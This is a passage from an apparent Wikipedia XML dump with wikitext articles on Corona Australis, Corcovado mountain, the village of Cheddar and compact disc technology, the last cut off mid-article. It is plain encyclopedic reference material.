* United Kingdom [http://www.opsi.gov.uk/si/si1996/Uksi_19961499_en_1.htm Food Labelling Regulations 1996] &amp;ndash; [http://www.opsi.gov.uk/si/si1996/Uksi_19961499_en_13.htm#sdiv7 Schedule 7: Nutrition labelling]
* United States federal food-labeling regulations [http://edocket.access.gpo.gov/cfr_2004/aprqtr/21cfr101.9.htm 21CFR101.9]
* [[NIST]] Special Publication 811, Appendix B8: [http://physics.nist.gov/Pubs/SP811/appenB8.html#C calorie].
* Donatelle, Rebecca J. ''Health: The Basics''. 6th ed. San Francisco: Pearson Education, Inc. 2005.
[[Category:Units of energy]]
[[Category:Nutrition]]

[[ca:Caloria]]
[[cs:Kalorie]]
[[da:Kalorie]]
[[de:Kalorie]]
[[es:Caloría]]
[[eo:Kalorio]]
[[fr:Calorie]]
[[gl:Caloría]]
[[ko:칼로리]]
[[id:Kalori]]
[[it:Caloria]]
[[he:קלוריה]]
[[lt:Kalorija]]
[[lb:Kalorie]]
[[nl:Calorie]]
[[ja:カロリー]]
[[no:Kalori]]
[[pl:Kaloria]]
[[pt:Caloria]]
[[ru:Калория]]
[[sl:Kalorija]]
[[fi:Kalori]]
[[sv:Kalori]]
[[vi:Ca-lo]]
[[tr:Kalori]]
[[zh:卡路里]]</text>
    </revision>
  </page>
  <page>
    <title>Corona Australis</title>
    <id>6424</id>
    <revision>
      <id>39431076</id>
      <timestamp>2006-02-13T02:17:13Z</timestamp>
      <contributor>
        <username>Creidieki</username>
        <id>68249</id>
      </contributor>
      <minor />
      <comment>disambig Ara -&gt; Ara (constellation)</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Corona australis |
abbreviation = CrA |
genitive = Coronae Australis /&lt;br /&gt;Coronae Austrinae|
symbology = The [[South]]ern [[Crown]]|
RA = 19 |
dec= &amp;minus;40 |
areatotal = 128 |
arearank = 80th |
numberstars = 0 |
starname = [[Alpha Coronae Australis|&amp;alpha; CrA]] |
starmagnitude = 4.1 |
meteorshowers =
*[[Beta Corona Austrinids]] |
bordering =
*[[Sagittarius]]
*[[Scorpius]]
*[[Ara (constellation)|Ara]]
*[[Telescopium]] |
latmax = 40 |
latmin = 90 |
month = August |
notes=}}
'''Corona Australis''' or '''Corona Austrina''' ([[Latin]] for ''[[Southern]] [[Crown]]'') was one of [[Ptolemy]]'s 48 [[constellation|constellations]], and also counts among the 88 modern constellations. The name contrasts with [[Corona Borealis]]. &lt;!-- It is the second brightest constellation in the sky after [[Crux]], and has an overall brightness of 16.446. --&gt;

==History==
The constellation was sometimes considered to be the crown of [[Sagittarius]], which had fallen on the ground for some reason.

==Naming mixup==
In [[1932]] the [[International Astronomical Union]] officially changed the name of this constellation to &quot;Corona Austrina&quot; (with genitive &quot;Coronae Austrinae&quot;).  This may have been due to an inadvertent naming mixup which has never been corrected [http://www.ianridpath.com/constellations1.htm], but in any case the official [[International Astronomical Union|IAU]] website continues to list &quot;Corona Austrina&quot; as the official name [http://www.iau.org/IAU/Activities/nomenclature/const.html].  In practice, the original name &quot;Corona Australis&quot; continues to be more widely used.
==Stars==
:Stars with proper names:
:* ([[Alpha Coronae Australis|&amp;alpha; CrA]]) 4.11 '''''Alphekka Meridiana''''' [''Alfecca Meridiana'']
:*: &lt; &amp;#1601;&amp;#1603;&amp;#1617;&amp;#1577;  ''al-fakkah''  The broken (ring of stars)
:Stars with Bayer designations:
:: [[Beta Coronae Australis|&amp;beta; CrA]] 4.10; [[Gamma Coronae Australis|&amp;gamma; CrA]] &amp;ndash; double 4.23, 4.99; [[Delta Coronae Australis|&amp;delta; CrA]] 4.57; [[Epsilon Coronae Australis|&amp;epsilon; CrA]] 4.83; [[Zeta Coronae Australis|&amp;zeta; CrA]] 4.74; [[Theta Coronae Australis|&amp;theta; CrA]] 4.63; [[Eta1 Coronae Australis|&amp;eta;&lt;sup&gt;1&lt;/sup&gt; CrA]] 5.46; [[Eta2 Coronae Australis|&amp;eta;&lt;sup&gt;2&lt;/sup&gt; CrA]] 5.60; [[Kappa1 Coronae Australis|&amp;kappa;&lt;sup&gt;1&lt;/sup&gt; CrA]] 6.31; [[Kappa2 Coronae Australis|&amp;kappa;&lt;sup&gt;2&lt;/sup&gt; CrA]] 5.67; [[Lambda Coronae Australis|&amp;lambda; CrA]] 5.11; [[Mu Coronae Australis|&amp;mu; CrA]] 5.20
:Other notable stars:
:* [[R Coronae Australis|R CrA]] 11.50 &amp;ndash; variable

==References==
* ''The Cambridge Guide to the Constellations'', Michael E. Bakich, Cambridge University Press, 1995, pg. 85

{{astro-stub}}
{{ConstellationsChangedByBayer}}
{{ConstellationsNLDLAltered}}
{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== External links ==
*Corona Australis photo - [http://images.google.com/imgres?imgurl=http://www.astroworks.com/gallery/ST2000GAL/NGC6728.JPG&amp;imgrefurl=http://www.astroworks.com/gallery/ST2000GAL/n6727.html&amp;h=1200&amp;w=1600&amp;sz=222&amp;tbnid=gVk3B43szMYJ:&amp;tbnh=112&amp;tbnw=150&amp;hl=en&amp;start=11&amp;prev=/images%3Fq%3DCorona%2BAustralis%26svnum%3D10%26hl%3Den%26lr%3D%26rls%3DGGLG,GGLG:2005-48,GGLG:en%26sa%3DN]
{{Commons|Corona Australis}}

[[Category:Corona Australis constellation| ]]

[[ca:Corona Austral]]
[[da:Sydlige Krone]]
[[de:Südliche Krone (Sternbild)]]
[[fr:Couronne australe]]
[[ko:남쪽왕관자리]]
[[it:Corona Australis]]
[[la:Corona Australis (sidus)]]
[[lt:Pietų Vainikas]]
[[hu:Déli Korona (csillagkép)]]
[[nl:Zuiderkroon]]
[[ja:みなみのかんむり座]]
[[nn:Sørlege krone]]
[[pl:Korona Południowa]]
[[pt:Corona Australis]]
[[ru:Южная Корона (созвездие)]]
[[sk:Súhvezdie Južná koruna]]
[[sv:Södra kronan]]
[[th:กลุ่มดาวมงกุฎใต้]]</text>
    </revision>
  </page>
  <page>
    <title>Corcovado</title>
    <id>6426</id>
    <revision>
      <id>41622726</id>
      <timestamp>2006-02-28T16:15:34Z</timestamp>
      <contributor>
        <username>MJCdetroit</username>
        <id>627347</id>
      </contributor>
      <comment>Format per [[WP:MOSNUM]] &amp; links</comment>
      <text xml:space="preserve">:''For the National Park in Costa Rica see [[Corcovado National Park]]''
[[Image:corcovado_mountain.jpg|thumb|right|&lt;br&gt;&lt;small&gt;''Corcovado mountain''&lt;/small&gt;]]

'''Corcovado''', meaning &quot;hunchback&quot; in [[Portuguese language|Portuguese]], is a mountain in central [[Rio de Janeiro]], [[Brazil]]. 
Location 22°57'8.7&quot;S 43°12'42&quot;W. 

The 710-meter (2,330&amp;nbsp;[[foot (unit of length)|ft]]) [[granite]] peak is located in the [[Tijuca Forest]], a national park.  Corcovado mountain lies just west of the city center but is wholly within the city limits and visible from great distances. It is known worldwide for the 38-meter (125&amp;nbsp;ft) statue of [[Jesus]] that graces its peak, entitled '''[[Christ the Redeemer (statue)|Cristo Redentor]]''' or &quot;[[Christ the Redeemer (statue)|Christ the Redeemer]]&quot;.

==Access==

The peak and statue can be accessed via a narrow road or by the 3.8 kilometer (2.4&amp;nbsp;[[mile|mi]]) [[Corcovado Rack Railway]] which was opened in [[1884]] and refurbished in [[1980]]. The railway uses two-car electrically powered trains, with a passenger capacity of 360 passengers per hour.  The rail trip takes approximately 20 minutes and departs every half hour.  Due to its limited passenger capacity, the wait to board at the entry station can take several hours.  The year-round schedule is 8:30am to 6:30pm.

From the train terminus and road, the observation deck at the foot of the statue is reached by 222 steps, or by [[elevator]]s and [[escalator]]s. Among the most popular year-round tourist attractions in Rio, the Corcovado railway, access roads, and statue platform are commonly crowded.  

==Attractions==

The most popular attraction of Corcovado mountain is the statue and viewing platform at its peak, drawing over 300,000 local and international visitors per year. From the peak's platform the panoramic view includes downtown Rio, [[Sugarloaf Mountain, Brazil|Sugarloaf Mountain]], the [[Lagoa Rodrigo de Freitas|Lagoa]] ([[Lagoa Rodrigo de Freitas]]), [[Copacabana]] beach, [[Ipanema]] beach, and several of Rio's [[favela|favelas]].  Cloud cover is common in Rio and the view from the platform is often obscured.  Sunny days are recommended for optimal viewing.

Notable past visitors to the mountain peak include [[Pope Pius XII]], [[Pope John Paul II]], [[Alberto Santos-Dumont]], [[Albert Einstein]] and [[Diana, Princess of Wales]].

An additional attraction of the mountain is rock climbing. The south face had 54 climbing routes as of 1992.

The easiest way starts from Park Lage.

==Geology==
The peak of Corcovado is a [[granite dome]], which describes a generally vertical rocky formation.

==Other==
'''Corcovado''' is a song by [[Antonio Carlos Jobim]] refering to Corcovado mountain.

'''Corcovado''' is also mentioned in a [[Ben Harper]] song entitled &quot;Blessed To Be A Witness,&quot; like so: &quot;Corcovado parted the sky/And through the darkness/On us He shined.&quot;

[[Category:Granite domes]]
[[Category:Geography of Brazil]]
[[de:Corcovado (Brasilien)]]
[[pt:Corcovado]]
[[sv:Corcovado]]</text>
    </revision>
  </page>
  <page>
    <title>Cheddar</title>
    <id>6427</id>
    <revision>
      <id>37310788</id>
      <timestamp>2006-01-30T04:09:16Z</timestamp>
      <contributor>
        <username>Kelisi</username>
        <id>173996</id>
      </contributor>
      <comment>Copyedit; SI</comment>
      <text xml:space="preserve">: ''This article is about the settlement in Somerset, England.  For the cheese of the same name, see [[Cheddar cheese]].''

[[Image:Cheddar Village - Mendip Hills - Somerset - England - Project Gutenberg eText 12287.jpg|thumbnail|250px|right|Cheddar Village circa 1907]]

'''Cheddar''' is a village in the district of [[Sedgemoor]] in [[Somerset]], [[England]], situated on the edge of the [[Mendip Hills]] 14.5&amp;nbsp;km (nine [[mile]]s) northwest of [[Wells]]. The village has a [[population]] of 5,724 ([[As of 2002|2002]] estimate). It is famous for having given its name to [[Cheddar cheese]] which is one of the most popular kinds of [[cheese]]. Although the cheese is now made worldwide, only one producer remains in the village itself. Cheddar's other main produce is the [[strawberry]], which gave name to the now disused Strawberry Line railway that ran from [[Yatton]] to [[Wells]]; in the [[1960s]], when the rest of the line was closed and all passenger services ceased, the section of the line between Cheddar and Yatton remained open for goods traffic, to provide a fast link with the main markets for the strawberries in [[Birmingham]] and [[London]]. The former station has become housing and a trading estate, and is the starting point for a cycle path along the old track to Axbridge, passing the Cheddar Reservoir, home of a sailing club.

Cheddar is also famous for [[Cheddar Gorge]], the largest [[gorge]] in [[England]], and for the Cheddar Caves, where the remains of [[Cheddar Man]] were found. Nearby is [[Wookey Hole]] and [[Ebbor Gorge]]. At the junction of Church Street, Bath Street and Union Street stands a fine roofed medieval market cross, recently restored after being seriously damaged in a road traffic accident.

There are three schools, covering the primary, middle and secondary age groups, a Church of England church with a tall tower in the typical Somerset style, and also churches of the Roman Catholic, Methodist, Baptist and other groups. There is an indoor swimming pool and a refuse recycling centre. Cheddar village also has a [[Youth Hostel]] and several camping sites. 
[[image:S3010334.JPG|thumb|left|200px|Cheddar, as seen from the top of the church tower]]
==Village or town?==
It is a frequent misconception that Cheddar is a town, presumably based on its present-day size and importance. Officially, however, Cheddar is a village. The adjacent settlement of [[Axbridge]], although only about a third the size of Cheddar, is a town. This apparently illogical situation is explained by the relative importance of the two places in historic times. While Axbridge grew in importance as a centre for cloth manufacture in the [[Tudor dynasty|Tudor]] period and gained a charter from [[John of England|King John]], Cheddar remained a more dispersed dairy-farming village until the advent of tourism and the arrival of the [[railway]] in the [[Victorian era]].

This situation is unlikely to change in the near future, with the residents of both Axbridge and Cheddar proud of their settlements' respective status and the inevitable friendly local rivalry between the two.

==See also==

* [[Cheddar Reservoir]]

==External links==
*[http://www.cheddarvillage.co.uk/ Community website]
*[http://www.cheddargorgecheeseco.co.uk/ The Cheddar Gorge Cheese Company]
*[http://www.cheddarcaves.co.uk/ Cheddar Caves]
*[http://www.bbc.co.uk/somerset BBC Somerset]

----

{{Somerset-geo-stub}}

[[Category:Villages in Somerset]]

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    <title>Compact disc</title>
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        <username>Brossow</username>
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      <comment>Redirect bypass from [[Disk or disc]] to [[disk]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{redirect|CD}} ''For the Public Image Ltd album called &quot;Compact Disc&quot; on certain editions, see [[Album (album)]].''

[[Image:CD autolev crop.jpg|thumbnail|250px|CD-R disc, bottom side, with interference colours]]

A '''compact disc''' (or '''CD''') is an [[optical disc]] used to store digital data, originally developed for storing [[digital audio]]. It is the standard playback format for commercial audio recordings today.

A standard compact disc, often known as an &quot;audio CD&quot; to differentiate it from later variants, stores audio data in a format compliant with the [[Red Book (audio CD standard)|red book]] standard. An audio CD consists of several stereo tracks stored using 16-bit [[Pulse-code modulation|PCM]] coding at a sampling rate of 44.1&amp;nbsp;kHz. Standard compact discs have a diameter of 120&amp;nbsp;mm, though 80 mm versions exist in circular and &quot;business-card&quot; forms. The 120 mm discs can hold 74 minutes of audio, and versions holding 80, 90 or even 99 minutes have been introduced. The 80 mm discs are used as &quot;CD-singles&quot; or novelty &quot;business-card CDs&quot;. They hold about 20 minutes of audio.
Compact disc technology was later adapted for use as a [[data storage device]], known as a [[CD-ROM]].

The design of the CD was originally conceived as an evolution of the [[gramophone record]], rather than primarily as a data storage medium. Only later did the concept of an 'audio file' arise, and the generalising of this to any data file. As a result, the original CD format has a number of limitations; no built-in track names or disc naming for example. Online services such as [[CDDB]] were developed to work around these shortcomings in the computer age.

== History ==
In the early [[1970s]], using video [[Laserdisc]] technology, [[Philips]]' researchers started experiments with &quot;audio-only&quot; optical discs, initially with wideband frequency modulation [[Frequency modulation|FM]] and later digitized [[pulse-code modulation|PCM]] audio signals. At the end of the 1970s, [[Philips]], [[Sony]], and other companies presented prototypes of digital audio discs.

In [[1979]] Philips and Sony decided to join forces, setting up a joint task force of engineers whose mission was to design the new digital audio disc. Prominent members of the task force were [[Kees A. Schouhamer Immink|Kees Immink]] and Toshitada Doi. After a year of experimentation and discussion, the taskforce produced the &quot;[[Red Book (audio CD standard)|Red Book]]&quot;, the Compact Disc standard. Philips contributed the general [[manufacturing]] [[process]], based on the video [[Laserdisc]] technology. Philips also contributed the [[Eight-to-Fourteen Modulation]], EFM, which offers both a large playing time and a high resilience against disc handling damage such as scratches and fingerprints; while Sony contributed the [[error-correction]] method, [[Cross-Interleaved Reed-Solomon Coding|CIRC]]. The [http://www.exp-math.uni-essen.de/~immink/pdf/cdstory.pdf Compact Disc Story], told by a former member of the taskforce, gives background information on the many technical decisions made, including the choice of the sampling frequency, playing time, and disc diameter.  According to Philips, the Compact Disc was thus &quot;invented collectively by a large group of people working as a team.&quot;[http://www.research.philips.com/newscenter/dossier/optrec/index.html]

The Compact Disc reached the market in late [[1982]] in Asia and early the following year in other markets. This event is often seen as the &quot;[[Big Bang]]&quot; of the digital audio revolution. The new audio disc was enthusiastically received, especially in the early-adopting [[European classical music|classical music]] and [[audiophile]] communities and its handling quality received particular praise. The far larger [[popular music|popular]] and [[rock music]] industries were slower to adopt the new format, especially in the huge consumer markets in [[Europe]] and the [[United States]]. This &quot;highbrow niche&quot; status of the CD format changed dramatically in [[May]], [[1985]], when [[UK]] rock [[band (music)|band]] [[Dire Straits]], then under contract by [[Philips]]' [[Polygram]], released the album ''[[Brothers in Arms (Dire Straits album)|Brothers in Arms]]''. One of the first all-digital rock recordings and the first by a major act, ''Brothers in Arms'' played to the strengths of the CD by offering more and longer tracks, running ten minutes longer than the album's concurrent LP and cassette releases. It spurred the sale of compact disc players like no other recording before it, helped to drive down the price of players, induced other acts and record labels to release more music on CD and firmly established the format in the mind of the average consumer. [http://www.vinylsa.co.za/pdf/newsletter_04_January_2006.pdf]

From its origins as a music format, Compact Disc has grown to encompass other applications. Two years later, in [[1985]], the [[CD-ROM]] (read-only memory) was introduced. With this it was now possible to disseminate massive amounts (for the time) of computer data instead of digital sound. A CD can store around 640 [[megabyte]]s of data. A user-recordable CD for data storage, [[CD-R]], was introduced in the early [[1990s]], and it became the de facto standard for exchange and archiving of computer data and music. The CD and its later extensions have been extremely successful: in [[2004]] the annual worldwide sales of CD-Audio, [[CD-ROM]], and [[CD-R]] reached about 30 billion discs.

== Physical details ==
[[Image:Compact disc.jpg|thumb|right|250px|CD-R (Pencil included for scale)]]

[[Image:Small cdisk ubt.jpeg|thumb|right|250px|Mini-CD (with ruler for scale)
]]
Compact discs are made from a 1.2&amp;nbsp;[[millimetre|mm]] thick disc of [[polycarbonate]] [[plastic]] coated with a much thinner layer of [[Super Purity Aluminium|Super Purity]] [[Aluminium]] (or rarely, [[Gold CD|gold]], used for its data longevity, such as in some limited-edition [[audiophile]] CDs) layer which is protected by a film of [[lacquer]]. The lacquer can be [[print]]ed with a [[label]].  Common printing methods for compact discs are [[silkscreening]] and [[offset printing]]. CDs are available in two sizes. By far the most common is 120&amp;nbsp;mm in [[diameter]], with a 74-minute audio capacity and a 650 MB data or an 80-minute audio capacity and a 700 MB data (See [[#Storage capacity|storage capacity]]; this form factor has also erroneously been called &quot;CD5&quot; since it is 4 3/4 inches in diameter, about five [[inch]]es across). Such a standard disc weighs 15 grams. 80 mm discs are also available, a format which is mainly used for audio CD singles in some regions (e.g. [[Japan]]), much like the old [[single (music)|vinyl single]]. Each such &quot;[[miniCD]]&quot; or &quot;Maxi CD&quot; can hold 21&amp;nbsp;minutes of music, or 180&amp;nbsp;MB of data (this form factor has also been called &quot;CD3&quot;, since it is about three inches across). 

Other unique shapes and smaller form factors have also been sold or given away as promotional items. Examples include Business Card CDs in the shape of a rectangular card and CDs shaped like the map of a country etc, although such discs are not always compatible with all CD players — they will work with any machine where the disc is inserted by manually clipping it onto the spindle (the mechanism used in virtually all portable CD players), but may not necessarily be inserted into drives which load the disc from a tray, or pull it into a slot.  Irregularly shaped, non [[rotationally symmetric]] discs with an offset [[centre of mass]] may also cause damaging vibration if played in computer CD drives, which can operate at a much higher rotational velocity than stand-alone audio CD players.  Some irregularly shaped discs will work with tray loading CD drives if they include a circular ridge on their underside which centers them on the part of the tray designed to hold 80 mm CDs, assuming the tray has such a feature.

There is a 15 mm hole in the centre of the disc, usually used by some form of clamp or clip device within the player to hold it in place and allow it to be rotated by a motor.

The information on a standard CD is encoded as a spiral track of ''pits'' moulded into the top of the polycarbonate layer. (The areas between pits are known as ''lands''.)  Each pit is approximately 100&amp;nbsp;[[nanometre|nm]] deep by 500&amp;nbsp;nm wide, and varies from 850&amp;nbsp;nm to 3.5&amp;nbsp;[[micrometre|μm]] long. The spacing between the tracks is 1.6&amp;nbsp;μm. To grasp the scale of the pits and land of a CD, if the disc is enlarged to the size of a stadium, a pit would be approximately the size of a grain of sand. The spiral begins at the center of the disc and proceeds outwards to the edge, which allows the different size formats available.

A CD is read by focusing a 780&amp;nbsp;nm [[wavelength]] [[semiconductor laser]] through the bottom of the polycarbonate layer. The difference in height between pits and lands is one quarter to one sixth of the wavelength of the laser light, leading to a half-wavelength or less [[phase (waves)|phase]] difference between the light reflected from a pit and from its surrounding land. The destructive [[interference]] thus reduces the intensity of the reflected light compared to when the laser is focused on just a land. By measuring this intensity with a [[photodiode]], one is able to read the data from the disc. The pits and lands themselves do not represent the zeroes and ones of [[binary data]]. Instead a change from pit to land or land to pit indicates a one, while no change indicates a zero. This in turn is decoded by reversing the [[Eight-to-Fourteen Modulation]] used in mastering the disc, finally revealing the raw data stored on the disc.

Figure 1, page 8a, of the Red Book specifies many mechanical parameters including the pit depth. It specifies that the pit depth should be less than (and, thus, not equal) 130 nm. However, the Red Book implicitly specifies the pit depth by specifying the strength of both the push-pull radial tracking signal and full aperture detection signal. For a maximum full aperture signal, the optimum pit depth is λ/4n = 130 nm (refractive index n=1.5, λ=780 nm). For a maximum push-pull radial tracking signal the best choice is λ/8n = 65 nm. Most CD manufacturers, dependent on the exact pit geometry such as the slope of the pit edges etc, choose a pit depth of around 90-100 nm, (which is around λ/6n) yielding a sound trade-off between the quality of the push-pull radial tracking and full aperture detection signal.

Pits are much closer to the label side of a disc so that defects and dirt on the clear side can be out of focus during playback. Discs are consequently much easier to ruin by scratching the label side, whereas clear-side scratches can be repaired by refilling them with plastic of similar [[index of refraction]].

== Manufacturing Process ==
Mastering Process: First, in a clean room, a glass master is prepared by coating a perfectly flat piece of half inch thick circular glass with a layer of nickel.  The nickel is transfered by exciting the nickel to a plasma state whereupon a thin layer of nickel will adhere to the glass.  The glass is coated with an emulsion.  Source material is encoded into the appropriate format whereupon a computer controlled machine &quot;burns&quot; the pits into the emulsion layer of the glass master. The glass master produced is quality checked before it moves to the next stage.

Stamper Process: Next the glass master is used to create nickel stampers using an electroplating technique.  Multiple stampers can be made from one glass master. Each stamper is quality checked.  This process is also done in a clean room environment.

Pressing: Each stamper is mounted in an injection moulding machine. Melted polycarbonate resin is injected into the chamber and the CD is pressed using up to 40 tons of pressure. The chamber opens and a robotic arm grabs the disc and transfers it to the next stage. At this point the disc is clear, so a coating of aluminum is applied to the disc for reflectivity. A laquer is spin coated onto the disc and the disc is tranfered to a spindle. The discs are sampled by QC to ensure quality product.

Printing and Packaging: The label is printed onto the disc using a one to six color process (in the case of silk screening), then the printed discs are loaded into a packaging macine that combines a jewel box, tray card, the disc, and booklet. The finished assembly has security stickers applied, and is shrinkwrapped with marketing stickers applied. Sometimes the spindle of 150 discs are shrinkwrapped together in bulk. Bulk packaging can be done before or after printing.

== Audio format ==
The format of the audio disc, known as the  &quot;[[Red Book (audio CD standard)|Red Book]]&quot;  / Sony standard, was laid out by Sony and Philips in 1981. Philips is responsible for the [[licensing]] program of the intellectual property pertinent to the Compact Disc including the &quot;Compact Disc Digital Audio&quot; logo that appears on the disc. In broad terms the format is a two-channel (four-channel sound is an allowed option within the Red Book format, but has never been implemented) stereo 16-bit [[Pulse-code modulation|PCM]] encoding at a 44.1&amp;nbsp;kHz [[sampling rate]]. [[Reed-Solomon error correction]] allows the CD to be scratched to a certain degree and still be played back.

The sampling rate of 44.1&amp;nbsp;kHz is inherited from a method of converting digital audio into an analog video signal for storage on video tape, which was the most affordable way to store it at the time the CD specification was being developed. A device that turns an analog audio signal into PCM audio, which in turn is changed into an analog video signal is called a [[PCM adaptor]]. This technology could store six samples (three samples per each [[stereo]] channel) in a single horizontal line. A standard [[NTSC]] video signal has 245 usable lines per field, and 59.94 fields/s, which works out at 44,056 samples/s. Similarly [[PAL]] has 294 lines and 50 fields, which gives 44,100 samples/s. This system could either store 14-bit samples with some error correction, or 16-bit samples with almost no error correction. There was a long debate over whether to use 14 or 16 bit samples and/or 44,056 or 44,100 samples/s when the Sony/Philips task force designed the compact disc; 16 bits and 44.1 kilo-samples/s prevailed. The Sony PCM-1610 and PCM-1630 are well known examples of PCM adaptors used in conjunction with the Sony [[U-matic]] VCR.

=== Storage capacity ===
The main parameters of the CD (taken from the September 1983 issue of the [[Red Book (audio CD standard)|compact disc specification]]) are as follows: 
*Scanning velocity: 1.2–1.4 m/s ([[constant linear velocity]]) - Equivalent to about 500 rpm at the inside of the disc, or about 200 rpm at the outside edge.
*Track pitch: 1.6&amp;nbsp;μm. 
*Disc diameter 120&amp;nbsp;mm. 
*Disc thickness: 1.2&amp;nbsp;mm. 
*Inner radius program area: 25&amp;nbsp;mm. 
*Outer radius program area: 58&amp;nbsp;mm.

The program area is 86.05&amp;nbsp;cm², so that the length of the recordable spiral is 86.05/1.6&amp;nbsp;=&amp;nbsp;5.38&amp;nbsp;km. With a scanning speed of 1.2&amp;nbsp;m/s, the playing time is 74&amp;nbsp;minutes, or around 650&amp;nbsp;MB of data on a CD-ROM. If the disc diameter were 115&amp;nbsp;mm, the maximum playing time would have been 68 minutes, i.e., six minutes less. A disc with data appearing slightly more densely is allowable. Using a linear velocity of 1.2&amp;nbsp;m/s and a track pitch of 1.5&amp;nbsp;micrometre leads to a playing time of 80&amp;nbsp;minutes, or a capacity of 700&amp;nbsp;MB.  This is the limit for most conventional audio CDs today.

Another technique to increase the capacity of a disc is store data in the lead out groove that is normally used to indicate the end of a disk, and an extra minute or two of recording is often possible. However, these discs can cause problems in playback when the end of the disc is reached.

The 74-minute playing time of a CD, being more than that of most long-playing vinyl albums, was often used to the format's advantage during the early years when CDs and LPs vied for commercial sales. CDs would often be released with one or more bonus tracks, enticing consumers to buy the CD for the extra material. However, attempts to combine double LPs onto one CD occasionally resulted in an opposing situation in which the CD would actually offer fewer tracks than the LP equivalent.

CD capacities are always given in binary units. A &quot;700 MB&quot; (or &quot;80 minute&quot;) CD has a nominal capacity of about 700 [[MiB]]. But [[DVD]] capacities are given in decimal units. A &quot;4.7 GB&quot; DVD has a nominal capacity of about 4.38 [[GiB]].

== Data structure ==
Under a microscope, all that is visible is a series of various-sized pits arranged in a long spiral, starting near the inner hole.
As bit-times are counted off, a transition (pit-to-land, or land-to-pit) is interpreted as a &quot;1&quot; bit, while a constant region (all-land or all-pit) is interpreted as a &quot;0&quot; bit.
Each 14 consecutive bits are grouped and decoded using [[Eight-to-Fourteen Modulation]] to get a byte. Each 14-bit EFM word alternates with a 3-bit merging word. 

The smallest entity in the CD audio format is called a ''frame''. A frame can accommodate six complete 16-bit stereo samples, i.e. 2×2×6&amp;nbsp;=&amp;nbsp;24&amp;nbsp;bytes. Data in a CD-ROM are organized in both frames and sectors. A frame comprises 33 bytes, of which 24 are audio bytes (six full stereo samples), eight error correction, CIRC-generated, bytes plus one subcode byte. The eight bits of a subcode byte are available for control and display. In total we have 33*(14+3) = 561 channel bits. A 27-bit unique synchronization word is added, so that the number of channel bit in a frame totals 588. The synchronization word cannot occur in the normal bit stream, and can thus be used to identify the beginning of a frame.

A CD-ROM ''sector'' contains 98&amp;nbsp;frames, and holds 98×24&amp;nbsp;=&amp;nbsp;2352&amp;nbsp;bytes. 
The CD-ROM is in essence a data disc, which cannot rely on error concealment, and it requires therefore a higher reliability of the retrieved data. In order to achieve improved error correction and detection, a CD-ROM has a third layer of Reed-Solomon error correction. 
Note that the [[CIRC]] error correction system used in the CD audio format has two interleaved layers. A Mode-1 CD-ROM, which has the full third layer error correction capability, contains a net 2048&amp;nbsp;bytes of the available 2352 per sector. In a Mode-2 CD-ROM, which is mostly used for video files, there are 2336 user-available bytes per sector. The net byte rate of a Mode-1 CD-ROM is 44.1k×2048/(6×98)&amp;nbsp;=&amp;nbsp;153.6 kB/s. The playing time is 74&amp;nbsp;minutes, or 4440&amp;nbsp;seconds, so that the net capacity of a Mode-1 CD-ROM is 682&amp;nbsp;MB.

A 1x speed CD drive reads 75 consecutive sectors per second.

A CD-ROM (data) sector contains 2352 bytes:
* 12 bytes: sync
* 4 bytes: sector ID
* 2 048 bytes: user data
* 4 bytes: error detection
* 8 bytes: null
* 276 bytes: error correction

An audio CD has a very different structure:

... &lt;!-- what ? --&gt;

=== Subcode ===
Besides digital audio, a CD contains digital data called &quot;subcode&quot;, which is multiplexed with the digital audio. The data in a CD are arranged in frames. A frame comprises 33 bytes, of which 24 are audio bytes (six full stereo samples), eight error correction, [[CIRC]]-generated, bytes plus one subcode byte. The eight bits of a subcode byte are available for control and display.  The eight bits are used as eight different subcoding channels, and given letters designating their usage: ''P'', ''Q'', …, ''W''. Thus each channel has a bit rate of 7.35 (=44.1/6) kbit/s.

In each sector there are 2352&amp;nbsp;[[byte]]s (24×98) of audio content data and 96&amp;nbsp;bytes of subchannel data.

The 96&amp;nbsp;bytes of subchannel information in each sector contain four packets of 24&amp;nbsp;bytes apiece:

1 byte for command,
1 byte for instruction,
2 bytes for parityQ,
16 bytes for data, and
4 bytes parityP.

Each of the 96&amp;nbsp;subchannel data bytes can be thought of as being divided into eight [[bit]]s.  Each of these bits corresponds to a separate stream of information. These streams are called &quot;channels&quot;, and are labeled starting with the letter ''P'', like so:

{| cellpadding=3
|-
|'''Channel'''
|P
|Q
|R
|S
|T
|U
|V
|W
|-
|'''Bit'''
|7
|6
|5
|4
|3
|2
|1
|0
|}

Channel ''P'' is a simple pause/music flag, which can be used for low-cost search systems. Quite a few players ignore it in favor of the ''Q'' Channel.

Channel ''Q'' is used for control purposes of more sophisticated players. It contains positioning information, the [[Media Catalog Number|Media Catalog Number (MCN)]], and [[International Standard Recording Code|International Standard Recording Code (ISRC)]]. The ISRC is used by the media industry, and contains information about the country of origin, the year of publication, owner of the rights, as well as a serial number, and some additional tags:

;Data: This track contains Data (rather than audio). Can be used for muting in audio CD players.

;Copy Flag: Used by the [[Serial Copy Management System]] to indicate permission to digitally copy the track.

;[[Four Channel Compact Disc Digital Audio|Four Channel Audio]]: The track uses four channel audio. This is very rarely used on Compact Discs.

;Pre-Emphasis: The audio track was recorded with pre-emphasis. Used very rarely on Compact Discs.

Channels ''R''…''W'' are unused by Red-Book compliant CDs, and have been used for extensions to the standard.

=== CD-Text ===
CD-Text is part of the [[CD-G|CD+G]] extension to the [[Red Book (audio CD standard)|Red Book]] standard for audio CDs. It allows for storage of additional information (e.g. album name, song name, and artist) on a standards-compliant audio CD. The information is stored in the lead-in area of the CD, where there is roughly five kilobytes of space available, or in the ''R'' through ''W'' Subchannels on the disc, which are not used by strict Red Book CDs. About 31 megabytes of information can be stored there. The text is stored in a format usable by the [[Interactive Text Transmission System]] (ITTS). ITTS is also used by Digital Audio Broadcasting or the [[MiniDisc]]. 

Note that the [[CD-G|CD+G]] or “karaoke” extension also uses the R-W subchannels or subcodes to store low resolution graphics.

== The SPARS Code for audio CDs ==
[[Image:Cd-r.jpg|right|thumb|250px|CD-R disc, top side]]

